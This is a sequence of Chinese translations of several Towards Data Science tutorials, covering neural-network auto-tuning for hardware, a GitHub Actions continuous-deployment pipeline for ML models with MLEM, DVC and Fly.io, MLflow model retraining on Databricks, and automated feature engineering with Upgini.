让我们选择其中一个。我们将神经网络编译为我们的设备,并测试其运行速度。哦,不!它没有达到我们的延迟要求!我们需要神经网络的运行时间*于 1 秒,而我们的神经网络却需要 2 秒!现在有什么选择?
-
用更强大的设备替换当前设备: 这可能会非常麻烦,特别是在存在严格应用约束的情况下。也许你只能使用特定的、已认证的硬件。或者你有难以满足的能源约束。
-
减少神经网络的复杂性: 这可能也很困难,因为如果不*心,可能会损失神经网络的质量指标。
-
为你的特定硬件自动调整神经网络。
等等,这是什么?你所说的自动调优是什么意思?好吧,这就是本文的主题。继续阅读,了解这种令人着迷的技术。在这篇文章中,我将尝试从高层次的角度解释这个话题。如果你跟着我直到文章结束,你将会找到可以用来优化你的 NN 的软件框架示例,并附有它们教程的链接。
自动…为什么?
如果你阅读了我上一篇文章,你可能记得对计算机架构的一个非常简单的解释。在其中,我讨论了两个元素:计算单元和内存单元。
为了执行神经网络的一层,需要将数据在内存层次结构中传输,直到它到达计算单元。然后,计算单元将执行所需的数学操作,结果将存储在内存层次结构的某个级别。
我们将执行一个神经网络(NN)层的成本定义为表示推理质量的指标。例如,最常见的指标之一是延迟,即完成层执行所需的时间。另一个指标可能是能耗。
现在,有两个不同的方面会影响这个指标:
-
实际执行数学操作的成本
-
跨内存层次结构移动数据的成本
根据可用的硬件,计算单元可以非常复杂,也可以非常简单,或者在同一硬件上甚至可以有不同的计算单元。例如,第一个类型的例子是一个脉动阵列,它是一个复杂的数字电路,能够并行执行多个数学操作(如果你对这个话题感兴趣,可以查看我的文章)。一个简单的例子是一个算术逻辑单元(ALU),它能够在每个时间步长中仅执行两个元素之间的一个数学操作(例如,加法或乘法)。因此,第一个方面是选择在每个时间步长中需要插入到每个计算单元中的数据。
另一个方面是将数据从内存移动到计算单元。从最后一级内存级别到更接近的内存级别移动的数据越少越好。因此,主要的思想是尽可能少地移动数据,然后尽可能多地重用它。
让我们看一个例子来说明这一点,好吗?现在,我们想在这个硬件上执行以下数学操作,这被称为 1D 卷积:
如动画所示,基本思想是我们将滤波器叠加在输入上,每个时间步,我们将滤波器向右移动。在每个时间步,我们逐元素地将输入与滤波器相乘,并将结果累加在一起。这是一个典型的操作,在其 2D 版本中是卷积神经网络(CNN)中使用的基础操作。
我将提出一个理论硬件,仅用于说明目的,具有以下元素和成本(参考 1D 卷积所需的基本数学操作):
-
计算单元 1:成本为 5。
-
计算单元 2:成本为 2。
-
内存级别 1:读取和写入每个元素的成本为 1,但我们只能在此处同时存储 8 个元素。
-
内存级别 2:读取和写入每个元素的成本为 4,我们可以在此处存储层所需的所有元素。
我们如何在这种理论硬件上运行 1D 卷积?例如,我们可以使用选项 A:
但我们也可以使用选项 B:
如你所见,我们可以以不同的方式映射相同的操作,从而获得不同的成本。选项 B 成本较低,不仅因为它使用了计算单元 2,还因为我改变了内存级别 1 中数据的重用方式。
自动…什么?
但如果没有硬件模型来获得成本,或者硬件太复杂而无法进行这种手动分析怎么办?我们需要一种方法来自动化特定操作在特定硬件上的最佳映射的搜索。这被称为 自动调优。这是一个我们自动化这种搜索的过程。
这对于整个神经网络如何工作?我们从预训练模型开始,并从中提取所有需要执行的不同操作。然后,对于每个操作,我们在主机计算机上运行搜索过程,方法是:
-
为选定的数学操作生成新的映射提议
-
为我们想运行推理的特定硬件编译映射提议
-
将编译映射发送到硬件,在那里我们将测量其成本
-
执行提议的编译映射
-
读取执行成本
-
选择下一个要测试的映射,并返回第 2 步
图片由作者提供。自动调优过程的示意图
这里一个有趣的点是:我们如何实际选择下一步测试的映射(第 6 点)?嗯,可以尝试网格搜索方法,测试所有可能的映射。但这通常太慢,因为可能的映射提议的搜索空间可能太大,无法测试所有的映射。
另一种可能性是使用某种算法来指导选择下一个要测试的映射提案,而不是盲目地测试所有内容。主要目标是减少实际执行的映射提案数量,并尽量使用最少的测量次数找到最佳解决方案。这可以通过使用遗传算法或强化学习等方法来实现,从过去的测量中学习并预测未来测量的性能,从而能够舍弃可能不好的映射提案,仅尝试最有前景的。等一下,我们是在用 AI 优化 AI 吗?是的!这不是很棒吗?
自动……怎么做?
好的,这听起来很有前途,但我们实际上该怎么做呢?我们需要一种软件,允许我们定义需要对操作应用的不同转换,以获取不同的映射提案。我们需要自己编写这个搜索程序吗?
当然不是!有很多论文提出了建模技术和方法来解决自动调优过程,这是一个非常活跃的研究领域。像 Bolt [1]、Lorien [2]、Ansor [3] 或 Chameleon [4] 等作品就是解决这个问题的例子。
如果你正在寻找一些实用的框架,这些框架建立在类似的工作基础上,并提供如何运行此过程的教程和文档,我建议你查看以下内容:
-
TVM [5]: 一个端到端的编译器,接受来自不同框架的模型作为输入(PyTorch、Tensorflow Lite、Tensorflow、Keras、ONNX 等),并能够优化和部署网络以支持越来越多的目标(GPU、微控制器、自定义加速器等)。可以使用其 AutoTVM 或 AutoScheduler 模块来优化程序。
-
TensorComprehensions [6]: 提供基于遗传算法的自动调优器,并与 PyTorch 集成。
-
Tiramisu [7]: 一个多面体编译器,能够针对 NVIDIA GPU、Xilinx FPGA 和多核 x86 CPU。教程可以在 这里 找到。
结论
如果你的神经网络在资源受限的硬件上未能达到所需的性能,不要放弃!有一些技术可以提高其性能,例如本文中描述的自动调优方法。这并不是仅在科学论文中出现的神秘技术;一些提供的软件框架已经包括了几乎即插即用的教程。
试试看,如果你觉得有用,请在评论中告诉我!
欢迎在LinkedIn上关注我,并告诉我你对这篇文章的看法,或者如果你真的喜欢这篇文章,可以请我喝咖啡!
感谢阅读!
参考文献
-
[6] Nicolas Vasilache, “Tensor Comprehensions: 框架无关的高性能机器学习抽象”,2018.
-
[7] Riyadh Baghdadi, “Tiramisu: 一个用于表达快速且可移植代码的多面体编译器”,2018.
使用 GitHub Actions 自动化机器学习部署
原文:
towardsdatascience.com/automate-machine-learning-deployment-with-github-actions-f752766981b1
更快的市场推出时间和提高效率
·发表于 Towards Data Science ·8 分钟阅读·2023 年 4 月 16 日
--
动机
设想这样一种情况:每个月都会开发出更准确的机器学习模型,并将其添加到主分支中。
作者提供的图片
要部署模型,你必须将其下载到你的机器上,打包,并进行部署。
作者提供的图片
然而,由于你可能还有其他责任,完成部署可能需要几天甚至几周,这会减缓发布过程,并占用本可以用于其他任务的宝贵时间。
作者提供的图片
如果每次将新版本推送到主分支时,模型能够自动部署到生产环境,那该有多好呢?这就是持续部署派上用场的地方。
什么是持续部署?
在上一篇文章中,我们讨论了如何使用持续集成(CI)来测试代码更改,以便在合并到主分支之前进行验证。
使用持续集成自动化机器学习工作流
towardsdatascience.com
在代码和模型经过成功测试后,可以利用持续部署(CD)自动将新模型部署到生产环境。自动化模型部署可以提供许多好处,包括:
-
更快的市场推出时间:持续部署减少了将新的机器学习模型发布到生产环境所需的时间。
-
提高效率:自动化部署过程减少了将机器学习模型部署到生产环境所需的资源。
本文将向你展示如何为机器学习项目创建一个 CD 管道。
随意在这里试玩和分叉本文的源代码:
[## GitHub - khuyentran1401/cicd-mlops-demo: 机器学习项目中的 CI/CD 演示]
CI/CD(持续集成/持续部署)是任何软件开发项目中的一个重要实践……
github.com](https://github.com/khuyentran1401/cicd-mlops-demo/?source=post_page-----f752766981b1--------------------------------)
构建 CD 管道
要构建 CD 管道,我们将执行以下步骤:
-
保存模型对象和模型元数据
-
上传模型到远程存储
-
设置一个平台以部署你的模型
-
创建一个 GitHub 工作流,将模型部署到生产环境
作者提供的图片
让我们详细探讨每一个步骤。
保存模型
我们将使用 MLEM,一个开源工具,来保存和部署模型。
使用 MLEM 保存实验的模型时,首先调用其 save
方法。
from mlem.api import save
...
# instead of joblib.dump(model, "model/svm")
save(model, "model/svm", sample_data=X_train)
运行此脚本将创建两个文件:一个模型文件和一个元数据文件。
作者提供的图片
元数据文件记录了模型对象的各种信息,包括:
-
模型工件,例如模型的大*和哈希值,这些对于版本控制非常有用
-
模型方法,如
predict
和predict_proba
-
输入数据模式
-
用于训练模型的 Python 需求
artifacts:
data:
hash: ba0c50b412f6b5d5c5bd6c0ef163b1a1
size: 148163
uri: svm
call_orders:
predict:
- - model
- predict
object_type: model
processors:
model:
methods:
predict:
args:
- name: X
type_:
columns:
- ''
- fixed acidity
- volatile acidity
- citric acid
- residual sugar
- ...
dtypes:
- int64
- float64
- float64
- float64
- float64
- ...
index_cols:
- ''
type: dataframe
name: predict
returns:
dtype: int64
shape:
- null
type: ndarray
varkw: predict_params
type: sklearn_pipeline
requirements:
- module: numpy
version: 1.24.2
- module: pandas
version: 1.5.3
- module: sklearn
package_name: scikit-learn
version: 1.2.2
将模型推送到远程存储
通过将模型推送到远程存储,我们可以将我们的模型和数据存储在一个集中位置,GitHub 工作流可以访问该位置。
作者提供的图片
我们将使用 DVC 来进行模型管理,因为它提供了以下好处:
-
版本控制:DVC 使得跟踪模型和数据的变化变得容易,方便回滚到之前的版本。
-
存储:DVC 可以将模型和数据存储在不同类型的存储系统中,例如 Amazon S3、Google Cloud Storage 和 Microsoft Azure Blob Storage。
-
可重复性:通过对数据和模型进行版本控制,实验可以使用完全相同的数据和模型版本轻松重现。
就像 Git,但有数据!
towardsdatascience.com
要将 DVC 与 MLEM 集成,我们可以使用 DVC pipeline。通过 DVC pipeline,我们可以在 dvc.yaml
文件中指定创建某些输出所需的命令、依赖项和参数。
stages:
train:
cmd: python src/train.py
deps:
- data/intermediate
- src/train.py
params:
- data
- model
- train
outs:
- model/svm
- model/svm.mlem:
cache: false
在上述示例中,我们在 outs
字段下指定了 model/svm
和 model/svm.mlem
作为输出。具体来说,
-
model/svm
被缓存,因此会上传到 DVC 远程存储,但不会提交到 Git。这确保了大型二进制文件不会减慢仓库的性能。 -
mode/svm.mlem
没有被缓存,因此不会上传到 DVC 远程存储,但会提交到 Git。这使我们能够跟踪模型的变化,同时保持仓库的大*较*。
作者提供的图片
要运行管道,请在终端中输入以下命令:
$ dvc exp run
Running stage 'train':
> python src/train.py
接下来,在文件 .dvc/config
中指定模型将被上传到的远程存储位置:
['remote "read"']
url = https://winequality-red.s3.amazonaws.com/
['remote "read-write"']
url = s3://your-s3-bucket/
要将修改后的文件推送到名为“read-write”的远程存储位置,只需运行:
dvc push -r read-write
设置一个平台来部署你的模型
接下来,让我们找一个平台来部署我们的模型。MLEM 支持将模型部署到以下平台:
-
Docker
-
Heroku
-
Fly.io
-
Kubernetes
-
Sagemaker
该项目选择了 Fly.io 作为部署平台,因为它易于入门且便宜。
要在 GitHub 工作流中创建 Fly.io 应用程序,你需要一个访问令牌。以下是如何获取一个的步骤:
-
注册一个 Fly.io 账户(你需要提供信用卡信息,但在超出免费额度之前,他们不会收费)。
-
登录后,点击右上角的“账户”按钮下的“访问令牌”。
-
创建一个新的访问令牌并复制以备后用。
作者提供的图片
创建一个 GitHub 工作流
现在进入激动人心的部分:创建一个 GitHub 工作流来部署你的模型!如果你对 GitHub 工作流不熟悉,我推荐阅读 这篇文章 以快速了解。
我们将在文件 .github/workflows/publish.yaml
中创建一个名为 publish-model
的工作流:
作者提供的图片
文件内容如下:
name: publish-model
on:
push:
branches:
- main
paths:
- model/svm.mlem
jobs:
publish-model:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v2
- name: Environment setup
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install dependencies
run: pip install -r requirements.txt
- name: Download model
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
run: dvc pull model/svm -r read-write
- name: Setup flyctl
uses: superfly/flyctl-actions/setup-flyctl@master
- name: Deploy model
env:
FLY_API_TOKEN: ${{ secrets.FLY_API_TOKEN }}
run: mlem deployment run flyio svm-app --model model/svm
on
字段指定了管道在推送到主分支时触发。
publish-model
任务包括以下步骤:
-
检出代码
-
设置 Python 环境
-
安装依赖
-
使用 DVC 从远程存储位置拉取模型
-
设置 flyctl 以使用 Fly.io
-
将模型部署到 Fly.io
请注意,为了使工作正常运行,需要以下内容:
-
用于拉取模型的 AWS 凭证
-
用于部署模型的 Fly.io 访问令牌
为了确保在我们的仓库中安全存储敏感信息,并使 GitHub Actions 能够访问这些信息,我们将使用 加密密钥。
要创建加密的密钥,点击“设置” -> “操作” -> “新建仓库密钥”。
作者提供的图片
就这样!现在让我们尝试一下这个项目,看看它是否按预期工作。
试用
按照 这个 GitHub 仓库中的说明来试用项目。
一旦在仓库中创建了拉取请求,将启动一个 GitHub 工作流来对代码和模型进行测试。所有测试成功通过后,拉取请求将被合并。
作者提供的图片
一旦更改被合并,将会触发一个 CD 管道来部署 ML 模型。
要查看工作流运行情况,点击工作流,然后点击publish-model
任务。
作者提供的图片
作者提供的图片
点击“部署模型”步骤下方的链接,以查看模型部署到的网站。
作者提供的图片
这是网站的样子。点击“试用”来在样本数据集上测试模型。
作者提供的图片
结论
恭喜!你刚刚学会了如何创建一个 CD 管道来自动化你的机器学习工作流。将 CD 与 CI 结合,可以让你的公司更早发现错误,降低成本,并缩短上市时间。
我喜欢写关于数据科学的概念和玩各种数据科学工具。你可以在 LinkedIn 和 Twitter 上与我联系。
如果你想查看我写的文章的代码,请给 这个仓库 点个星。关注我在 Medium 上的最新数据科学文章:
[## GitHub Actions 在 MLOps 中:自动检查和部署你的 ML 模型
使用 GitHub Actions 自动化你的 ML 管道
验证你的 pandas DataFrame 使用 Pandera [## 使用 Pandera 验证你的 pandas DataFrame]
确保你的数据符合预期
验证你的 pandas DataFrame 使用 Pandera [## 创建可观察且可复现的笔记本使用 Hex]
如何将笔记本集成到你的数据管道中
在 BigQuery 上使用 Fugue 和 Python 简化数据科学工作流程 [## 简化数据科学工作流程]
加快迭代速度并降低计算成本
在 BigQuery 上使用 Fugue 和 Python 简化数据科学工作流程
使用 MLflow 在 Databricks 中自动化 ML 模型的再训练和部署
高效管理和部署生产模型使用 MLflow
·
关注 发表在 Towards Data Science ·8 分钟阅读·2023 年 3 月 15 日
--
图片来源:Karsten Winegeart 在 Unsplash
将一个可工作的机器学习模型部署给用户使用是一个伟大的成就。我们看到统计数据显示,机器学习模型常常未能投入生产,无论是由于数据不足、缺乏方向还是其他原因。
已经投入生产的模型仍然面临许多挑战,因为它们需要持续的关注,包括监控和重新训练,以确保它们所提供的见解随时间保持最新和准确。
本博客旨在帮助简化使用 MLflow 的模型重新训练过程,同时提供推荐方法的背景。
为什么要重新训练生产模型?
模型重新训练是给我们的生产模型提供最新数据以进行最新预测的过程。根据我们系统的复杂性,我们可能在各种场景下执行这种重新训练,例如:
-
在定期时间间隔:例如每周安排一次。
-
根据特定标准:数据漂移达到阈值条件可能导致我们重新训练以适应不断变化的数据环境。
-
注册新模型时:我们的数据科学家找到了一种更准确的模型,并已获批准上线。
MLflow
模型重新训练属于机器学习操作(MLOps)过程,MLflow 是一个很好的工具,可以以迭代的方式简化这一过程,实现更顺畅的交付和可重复的执行。
如果你对 MLflow 不熟悉,网上有许多详细的资源可供参考,但我建议从他们的网站开始,以了解他们的产品——我在下面包含了作为介绍的组件。
我们将利用 MLflow 的跟踪组件来记录我们的重新训练实验运行,以及模型注册表组件来确保部署顺利,并减少我们生产环境中停机的需求。
前提条件
由于我们讨论的是重新训练,我们假设你已经在生产中有一个模型(以及你希望预测的数据)。如果没有,并且你希望使用 MLflow 来实现这一目标,我提供了这个笔记本作为起点。我们将在“将初始模型部署到生产”部分详细回顾这个过程和代码。
为了方便,我们将使用带有 ML 计算集群的 Databricks 工作区,因为这为我们提供了一个托管环境,其中安装了所有所需的软件包、嵌入了 MLflow 界面,并且有一个 Spark 环境,以协助任何大数据查询(如有必要)。
Databricks 可通过大多数云提供商获得——我将使用 Microsoft Azure。如果在本地运行 MLflow,则确保所有相关软件包已安装,并且设置了 MLflow 追踪服务器。
我在下面分解了这些要求:
-
运行 ML 计算集群的 Databricks 工作区,模拟生产环境。
-
源数据:在生产环境中,我预计这些将是我们数据仓库或数据湖中的表格。我们将使用 Scikit-learn 包中的糖尿病数据集作为示例。
-
一个现有的机器学习模型,我们将其保存为模型注册表中的生产模型(代码示例见下)。
将初始模型部署到生产环境中
以下代码块显示了 Ridge 回归模型的实验运行。有关完整笔记本,请参见我 GitHub Repo 中的此链接。此示例旨在为您提供一个“生产”模型,您可以基于此模型进行重新训练过程。
# Start MLflow run for this experiment
# End any existing runs
mlflow.end_run()
with mlflow.start_run() as run:
# Turn autolog on to save model artifacts, requirements, etc.
mlflow.autolog(log_models=True)
diabetes_X = diabetes.data
diabetes_y = diabetes.target
# Split data into test training sets, 3:1 ratio
diabetes_X_train, diabetes_X_test, diabetes_y_train, diabetes_y_test = train_test_split(diabetes_X, diabetes_y, test_size=0.25, random_state=42)
alpha = 1
solver = 'cholesky'
regr = linear_model.Ridge(alpha=alpha,solver=solver)
regr.fit(diabetes_X_train, diabetes_y_train)
diabetes_y_pred = regr.predict(diabetes_X_test)
# Log desired metrics
mlflow.log_metric("mse", mean_squared_error(diabetes_y_test, diabetes_y_pred))
mlflow.log_metric("rmse", sqrt(mean_squared_error(diabetes_y_test, diabetes_y_pred)))
mlflow.log_metric("r2", r2_score(diabetes_y_test, diabetes_y_pred))
使用 MLflow API 命令将其推送到你的模型注册表中进行生产部署。
model_uri = "dbfs:/databricks/mlflow-tracking/<>/<>/artifacts/model"
desc = 'Initial model deployment'
new_run_id = run.info.run_id
client.create_model_version(name, model_uri, new_run_id, description=desc)
version = client.search_model_versions("run_id='{}'".format(new_run_id))[0].version
client.transition_model_version_stage(name, version, "Production")
找到合适的方法:部署代码与部署模型
为了了解我们的重新训练笔记本可能是什么样的,我们需要了解所采取的方法。微软讨论了两种部署模式,我在下面总结了这些。更多详细信息请参见 此处。
部署代码
-
ML 工件被打包为从部署到生产的代码。
-
可以实现版本控制和测试。
-
部署环境在生产中得到复制,降低了生产问题的风险。
-
生产模型是针对生产数据进行训练的。
-
附加的部署复杂性。
部署模型
-
独立的工件(机器学习模型)被部署到生产环境中。
-
灵活性部署到不同类型的环境或集成不同的服务。
-
部署过程中的简单性。
-
快速部署时间,轻松版本管理。
-
特征工程、监控等的更改和增强需要单独管理。
我们将采取推荐的部署代码方法。这非常适合我们要实现的目标:我们可以使用已准备好的、得到利益相关者批准的生产脚本来进行重新训练。
我们没有更改模型中的任何参数值:我们只是针对最新数据重新训练模型。
从设置实验和我们要重新训练的模型开始。
# Import packages
from mlflow.client import MlflowClient
# Set the experiment name to an experiment in the shared experiments folder
mlflow.set_experiment("/diabetes_regression_lab")
client = MlflowClient()
# Set model name
name = 'DiabetesRegressionLab'
加载数据集。如前所述,我们通过使用 scikit-learn 包中的糖尿病数据集来简化这个要求。实际上,这可能是对表的选择语句。
# Load the diabetes dataset
diabetes = datasets.load_diabetes()
在这种情况下,我们模拟了模型重训练发生在数据变化后,可能是几天后。为了模拟这个时间差,当前注册的生产模型已经在数据的一个子集上进行了训练(1.),我们使用完整的数据集来展示随时间增加的数据(2.)
# 1\. Mimic results from a week ago, used by our registered production model
diabetes_X = diabetes.data[:-20]
diabetes_y = diabetes.target[:-20]
# 2\. Dataset as of point of retraining, used in our latest experiment run
diabetes_X = diabetes.data
diabetes_y = diabetes.target
请注意,如果检测到数据漂移,可能会有用例需要从训练数据集中移除一些历史数据。
加载完成后,启动 MLflow 运行并开始训练。这将遵循通常的数据拆分、训练、预测和与测试数据集比较的过程。
# Start MLflow run for this experiment: This is similar to your experimentation script
mlflow.end_run()
with mlflow.start_run() as run:
# Turn autolog on to save model artifacts, requirements, etc.
mlflow.autolog(log_models=True)
# Split data into test training sets, 3:1 ratio
diabetes_X_train, diabetes_X_test, diabetes_y_train, diabetes_y_test = train_test_split(diabetes_X, diabetes_y, test_size=0.25, random_state=42)
alpha = 1
solver = 'cholesky'
regr = linear_model.Ridge(alpha=alpha,solver=solver)
regr.fit(diabetes_X_train, diabetes_y_train)
diabetes_y_pred = regr.predict(diabetes_X_test)
# Log desired metrics
mlflow.log_metric("mse", mean_squared_error(diabetes_y_test, diabetes_y_pred))
mlflow.log_metric("rmse", sqrt(mean_squared_error(diabetes_y_test, diabetes_y_pred)))
mlflow.log_metric("r2", r2_score(diabetes_y_test, diabetes_y_pred))
验证标准
在替换生产中的模型之前,使用验证标准来确定新模型的性能至少与现有模型一样好是一个好习惯。这一过程有助于确保新模型的可靠性,并最*化性能退化的风险。在这种情况下,我仅使用 mse、rmse 和 r2 值作为我的验证指标。
既然我们已经记录了一个新的运行,我们可以将其与当前生产中的运行进行比较。
# Collect latest run's metrics
new_run_id = run.info.run_id
new_run = client.get_run(new_run_id)
new_metrics = new_run.data.metrics
# Collect production run's metrics
prod_run_id = client.get_latest_versions(name, stages=["Production"])[0].run_id
prod_run = client.get_run(prod_run_id)
prod_metrics = prod_run.data.metrics
# Collate metrics into DataFrame for comparison
columns = ['mse','rmse','r2']
columns = ['version'] + [x for x in sorted(columns)]
new_vals = ['new'] + [new_metrics[m] for m in sorted(new_metrics) if m in columns]
prod_vals = ['prod'] + [prod_metrics[m] for m in sorted(prod_metrics) if m in columns]
data = [new_vals, prod_vals]
metrics_df = pd.DataFrame(data, columns=columns)
metrics_df
评估数据框:作者提供的图像
这是一个简单的例子,其中我们的模型使用了岭回归算法。实际上,我们的模型可能是复合的,使用超参数搜索空间,比较多种算法,并在复杂的验证标准下自动决定使用“最佳”算法。相同的概念可以应用,并且成功的模型可以发布到模型注册表中供使用。
在模型注册表中提升
然后我们可以使用以下代码在满足这些指定的验证标准时自动将此运行移动到模型注册表中的生产环境:
# Retrieve validation variables from the metrics DataFrame
new_mse = metrics_df[metrics_df['version'] == 'new']['mse'].values[0]
new_rmse = metrics_df[metrics_df['version'] == 'new']['rmse'].values[0]
new_r2 = metrics_df[metrics_df['version'] == 'new']['r2'].values[0]
prod_mse = metrics_df[metrics_df['version'] == 'prod']['mse'].values[0]
prod_rmse = metrics_df[metrics_df['version'] == 'prod']['rmse'].values[0]
prod_r2 = metrics_df[metrics_df['version'] == 'prod']['r2'].values[0]
# Check new model meets our validation criteria before promoting to production
if (new_mse < prod_mse) and (new_rmse < prod_rmse) and (new_r2 > prod_r2):
model_uri = "dbfs:/databricks/mlflow-tracking/<>/<>/artifacts/model"
print('run_id is: ', new_run_id)
desc = 'This model uses Ridge Regression to predict diabetes.'
client.create_model_version(name, model_uri, new_run_id, description=desc)
to_prod_version = client.search_model_versions("run_id='{}'".format(new_run_id))[0].version
to_archive_version = client.search_model_versions("run_id='{}'".format(prod_run_id))[0].version
# Transition new model to Production stage
client.transition_model_version_stage(name, to_prod_version, "Production")
# Wait for the transition to complete
new_prod_version = client.get_model_version(name, to_prod_version)
while new_prod_version.current_stage != "Production":
new_prod_version = client.get_model_version(name, to_prod_version)
print('Transitioning new model... Current model version is: ', new_prod_version.current_stage)
time.sleep(1)
# Transition old model to Archived stage
client.transition_model_version_stage(name, to_archive_version, "Archived")
else:
print('no improvement')
在我们的情况下,所有验证标准都已满足,因此模型已被推送到模型注册表中的生产环境中。现在,模型的任何使用,无论是批处理还是实时,都将基于此版本。
希望到此时你能开始注意到部署代码方法的好处,因为它使我们对用于重新训练模型的脚本拥有完全的控制权,并且可以容纳不断变化的验证标准以进行自动重新部署。
如果你希望查看完整的代码,可以访问我的 GitHub 仓库 。
使用情况
我们可以继续使用推断管道和 REST API 调用来访问模型,如之前一样,但要*心更新任何发生的模式变化。
这是我们可以在部署代码中考虑的内容,添加到模型注册表作为提醒,以防止这成为破坏性更改并影响最终用户。
注意事项/考虑因素
从 MLflow 2.0 开始,Recipes 是一个实验性功能(在撰写本文时),它提供了一种简化的方式来实现部分功能,特别是验证标准。我期望 Recipes 的进一步发展能为用户提供一种结构良好且可重复的方法,用于模型部署和再训练的机器学习生命周期元素。
还值得注意的是,MLOps 仍然相对较新,我们确实可以看到不同企业和用户在实施机器学习解决方案时采取了多种不同的方法。标准化这一方法仍在进行中,解释性和监控等附加组件在生命周期中变得更加普遍。
感谢阅读,如有任何问题,请告知我。
Python 中的自动化特征工程
原文:
towardsdatascience.com/automated-feature-engineering-in-python-5733426530bf
机器学习 | Python | 数据科学
使用 Upgini 增强数据集的新功能的指南
·发表于 Towards Data Science ·阅读时间 5 分钟·2023 年 5 月 2 日
--
照片由 Alina Grubnyak 提供,来自 Unsplash
任何数据科学家或机器学习专业人士最重要的技能之一是从任何给定的数据集中提取更深层次和更有意义的特征。这个概念,更常被称为特征工程,可能是建模机器学习算法时最强大的技巧之一。
从数据中学习涉及大量的工程工作。虽然现代高级工具如 sklearn 已经将大部分复杂性抽象出来,但仍然需要深入理解数据,并将其塑造为你想要解决的问题。
提取更好的特征有助于为模型提供额外(且潜在更强)的业务领域和影响因素的基础关系。
不用说,特征工程是非常耗时和费力的。它需要大量的创造力、技术专长,并且在大多数情况下,还需要反复试验。
我最近发现了一个新工具,Upgini。与当前大型语言模型(LLM)的趋势相符,Upgini 利用 OpenAI 的 GPT LLM 来自动化我们数据集的整个特征工程过程。
在本文中,我们将介绍 Upgini 包并讨论其功能。
本文中,我们将使用亚马逊优质食品评论数据集(根据 CC0:公共领域许可)。
分析 ~500,000 条来自 Amazon 的食品评论
www.kaggle.com](https://www.kaggle.com/datasets/snap/amazon-fine-food-reviews?sort=votes&source=post_page-----5733426530bf--------------------------------)
欲了解更多关于 Upgini 包的信息,可以访问其 GitHub 页面:
[## GitHub - upgini/upgini: 机器学习数据搜索库 → 轻松找到并添加相关特征…
机器学习的数据搜索库 → 轻松从数百个相关特征中找到并添加到你的 ML 流水线中…
github.com](https://github.com/upgini/upgini/tree/main?source=post_page-----5733426530bf--------------------------------)
使用 Upgini 入门
首先,我们可以通过 pip 直接安装 Upgini:
pip install upgini
我们还加载了我们的数据集:
import pandas as pd
import numpy as np
# read full data
df_full = pd.read_csv("/content/Reviews.csv")
# convert Time to datetime column
df_full['Time'] = pd.to_datetime(df_full['Time'], unit='s')
# re-order columns
0df_full = df_full[['Time', 'ProfileName', 'Summary', 'Text', 'HelpfulnessNumerator', 'HelpfulnessDenominator', 'Score' ]]
结果数据的片段 — 作者提供的图像
我们还筛选了数据集,以包括帮助度超过 10 且发布于 2011–01–01 之后的评论。
df_full = df_full[(df_full['HelpfulnessDenominator'] > 10) &
(df_full['Time'] >= '2011-01-01')]
我们还将 Helpfulness 转换为 0.50 比例的二进制变量。
df_full.loc[:, 'Helpful'] = np.where(df_full.loc[:, 'HelpfulnessNumerator'] / df_full.loc[:, 'HelpfulnessDenominator'] > 0.50, 1, 0)
最后,我们创建了一个新列 — combined — 将摘要和文本连接成一个单列。我们也借此机会删除任何重复项。
df_full["combined"] = f"Title: {df_full['Summary'].str.strip()} ; Content: {df_full['Text'].str.strip()}"
df_full.drop(['Summary', 'Text', 'HelpfulnessNumerator', 'HelpfulnessDenominator' ], axis=1, inplace=True)
df_full.drop_duplicates(subset=['combined'], inplace=True)
df_full.reset_index(drop=True, inplace=True)
使用 Upgini 进行特征搜索和增强
我们现在准备开始搜索新特征。
根据 Upgini 文档,我们可以使用 FeaturesEnricher 对象开始特征搜索。在该 FeaturesEnricher 内,我们可以指定一个 SearchKey(即,我们要搜索的列)。
我们可以搜索以下列类型:
-
电子邮件
-
胸针
-
IP 地址
-
电话
-
日期
-
日期时间
-
国家
-
邮政编码
让我们将这些导入 Python。
from upgini import FeaturesEnricher, SearchKey
我们现在可以开始特征搜索。
enricher = FeaturesEnricher(search_keys={'Time': SearchKey.DATE})
enricher.fit(df_full[['Time', 'ProfileName', 'Score', 'combined']], df_full['Helpful'])
一段时间后,Upgini 向我们展示了一个搜索结果列表 — 可能相关的特征以增强我们的数据集。
找到的特征片段。作者提供的图像
似乎 Upgini 计算了每个找到的特征的 SHAP 值,以衡量该特征对数据和模型质量的整体影响。
对于每个返回的特征,我们也可以直接查看并访问其来源。
该包还评估了模型在原始和增强数据集上的表现。
增强后获得的结果。作者提供的图像
在这里我们可以看到,通过添加增强特征,我们成功地稍微提高了模型的表现。诚然,这一表现提升微不足道。
使用 GPT 模型进行特征生成
深入挖掘文档,似乎 FeaturesEnricher 还接受另一个参数 — generate_features。
generate_features 允许我们为文本列搜索并生成特征嵌入。这听起来非常有前景。我们确实有文本列 — combined 和 ProfileName。
Upgini 连接了两个 LLM 到一个搜索引擎——来自 OpenAI 的 GPT-3.5 和 GPT-J——来自 Upgini 文档
让我们进行这个数据丰富化吧?
enricher = FeaturesEnricher(
search_keys={'Time': SearchKey.DATE},
generate_features=['combined', 'ProfileName']
)
enricher.fit(df_full[['Time','ProfileName','Score','combined']], df_full['Helpful'])
Upgini 为我们找到 222 个相关特征。每个特征我们会得到其 SHAP 值、来源以及在我们数据中的覆盖情况报告。
这一次,我们还可以注意到我们有一些生成的特征(即文本 GPT 嵌入特征)。
生成的文本嵌入特征的示例。图片由作者提供
那么评估性能如何?
评估指标。图片由作者提供。
使用新生成的特征,我们看到预测性能有了巨大的提升——提升了 0.1。最棒的是这一切都是完全自动化的!
鉴于我们观察到的巨大的性能提升,我们绝对想保留这些特征。我们可以按以下方式进行:
df_full_enrich = enricher.transform(df_full)
结果数据集。图片由作者提供
结果是一个由 11 个特征组成的数据集。从现在开始,我们可以像处理任何其他机器学习任务一样进行。
结论
Upgini 提供了很多潜力。我仍在尝试其功能,并熟悉其不同的功能——但到目前为止,它证明非常有用——尤其是那个 GPT 功能生成器!
告诉我你的结果吧!
参考文献
亚马逊美食评论数据集由斯坦福网络分析项目提供,授权为 CC0:公有领域。
分析 ~500,000 条来自亚马逊的食品评论
www.kaggle.com](https://www.kaggle.com/datasets/snap/amazon-fine-food-reviews?sort=votes&source=post_page-----5733426530bf--------------------------------)
你喜欢这篇文章吗?每月 $5,你可以成为会员,解锁对 Medium 的无限访问。你将直接支持我和你在 Medium 上的其他喜欢的作家。所以非常感谢!
[## 通过我的推荐链接加入 Medium - David Farrugia
